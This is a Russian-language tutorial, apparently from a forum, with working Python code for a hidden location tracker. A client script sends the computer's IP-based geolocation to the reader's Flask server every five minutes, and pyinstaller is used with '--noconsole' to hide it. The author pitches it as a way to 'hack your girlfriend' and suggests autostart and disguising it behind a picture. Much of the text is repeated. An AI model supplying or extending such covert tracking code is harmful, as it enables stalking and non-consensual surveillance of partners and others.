Тут уже инструмент по круче, а именно ТРЕКИНГ GPS НА КОМПЬЮТЕРЕ (ДАЛЕЕ ТЕРМИНАЛ) И ПЕРЕДАЧА ИНФОРМАЦИИ НА ВАШ КОМПЬЮТЕР (ДАЛЕЕ - СЕРВЕР):
1. Сервер:
Это первая прожка, из которой нужно сделать .exe. Предлагаю Вам назвать проект server.py. Для корректной работы нужно установить модуль, так как мы будем использовать сервер с flask для получения и обработки данных:
Что нужно сделать на сервере (Ваш ПК):
1) Для того чтобы сервер на вашем ПК был доступен из сетки, вам нужно либо настроить порт-форвардинг на вашем домашнем роутере, либо использовать сервисы вроде ngrok для создания временных публичных адресов. Что и как в этом вопросе - гуглите.
2) Убедитесь, что порт 5000 (или тот, который вы выбрали, я у себя прописал именно такой) открыт в файрволе вашего ПК, чтобы программа могла принимать запросы. Фаервол может быть системный, или в антивирусе. Тоже, гуглите))))
2. Терминал:
Рекомендую файл на питоне назвать: "location.py". ""http://your_server_address:5000/receive_location" меняется на ваш IP-адрес. Например: "http://192.168.1.100:5000/receive_location", где "192.168.1.100" - Ваш IP. Его получить можно через команду "ipconfig" в cmd или терминал. "5000" - выбранный мной порт. Что такое порт и т.д. тоже читайте в сети, если хотите хакнуть свою подружку.
Перед формированием .exe установите модули:
И будет ГУЧЧИ.
Если назовете файлы, как я говорил, вот команды для формирования .exe через pyinstaller:
На серверной части (ваш ПК) консоль не надо скрывать!!!
После запуска программы на терминале, программа на сервере каждые 5 минут будет получать инфу о геолокации терминала. Можете вычислять обидчиков,работяги. В идеале можно еще прописать в автозапуск программу на терминале. И скрыть за какой-то картинкой на tkinter. Но это Вам ДЗ, если кто-то осилит и будет интересно.
1. Сервер:
from flask import Flask, request
from geopy.geocoders import Nominatim
app = Flask(__name__)
def get_address(lat, lon):
geolocator = Nominatim(user_agent="geoapiExercises")
location = geolocator.reverse((lat, lon), language='en')
return location.address if location else "Unknown location"
@app.route('/receive_location', methods=['POST'])
def receive_location():
latitude = request.form['latitude']
longitude = request.form['longitude']
address = get_address(latitude, longitude)
print(f"Received location: {latitude}, {longitude} - {address}")
return "Location received"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Это первая прожка, из которой нужно сделать .exe. Предлагаю Вам назвать проект server.py. Для корректной работы нужно установить модуль, так как мы будем использовать сервер с flask для получения и обработки данных:
pip install flask geopy
Что нужно сделать на сервере (Ваш ПК):
1) Для того чтобы сервер на вашем ПК был доступен из сетки, вам нужно либо настроить порт-форвардинг на вашем домашнем роутере, либо использовать сервисы вроде ngrok для создания временных публичных адресов. Что и как в этом вопросе - гуглите.
2) Убедитесь, что порт 5000 (или тот, который вы выбрали, я у себя прописал именно такой) открыт в файрволе вашего ПК, чтобы программа могла принимать запросы. Фаервол может быть системный, или в антивирусе. Тоже, гуглите))))
2. Терминал:
import geocoder
import requests
import time
def get_location():
g = geocoder.ip('me')
return g.latlng
def send_location(latlng):
url = 'http://your_server_address:5000/receive_location'
data = {'latitude': latlng[0], 'longitude': latlng[1]}
try:
requests.post(url, data=data)
except Exception as e:
print(f"Error sending location: {e}")
while True:
location = get_location()
send_location(location)
time.sleep(300)
Рекомендую файл на питоне назвать: "location.py". ""http://your_server_address:5000/receive_location" меняется на ваш IP-адрес. Например: "http://192.168.1.100:5000/receive_location", где "192.168.1.100" - Ваш IP. Его получить можно через команду "ipconfig" в cmd или терминал. "5000" - выбранный мной порт. Что такое порт и т.д. тоже читайте в сети, если хотите хакнуть свою подружку.
Перед формированием .exe установите модули:
pip install geocoder requests
И будет ГУЧЧИ.
Если назовете файлы, как я говорил, вот команды для формирования .exe через pyinstaller:
pyinstaller --onefile --noconsole location.py
pyinstaller --onefile server.py
На серверной части (ваш ПК) консоль не надо скрывать!!!
После запуска программы на терминале, программа на сервере каждые 5 минут будет получать инфу о геолокации терминала. Можете вычислять обидчиков,